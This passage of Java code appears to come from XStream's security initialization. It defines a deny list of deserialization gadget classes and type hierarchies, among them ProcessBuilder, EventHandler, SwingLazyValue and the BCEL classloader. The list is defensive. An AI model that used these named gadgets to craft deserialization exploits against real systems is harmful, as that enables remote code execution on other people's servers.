      this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"});
      this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, GETTER_SETTER_REFLECTION, PRIVILEGED_GETTER, JAVAX_CRYPTO, JAXWS_ITERATORS, JAVAFX_OBSERVABLE_LIST__, BCEL_CL});
      this.denyTypeHierarchy(InputStream.class);
      this.denyTypeHierarchyDynamically("java.nio.channels.Channel");
      this.denyTypeHierarchyDynamically("javax.activation.DataSource");
      this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet");
      this.allowTypeHierarchy(Exception.class);
      this.securityInitialized = false;
  }
}
​
​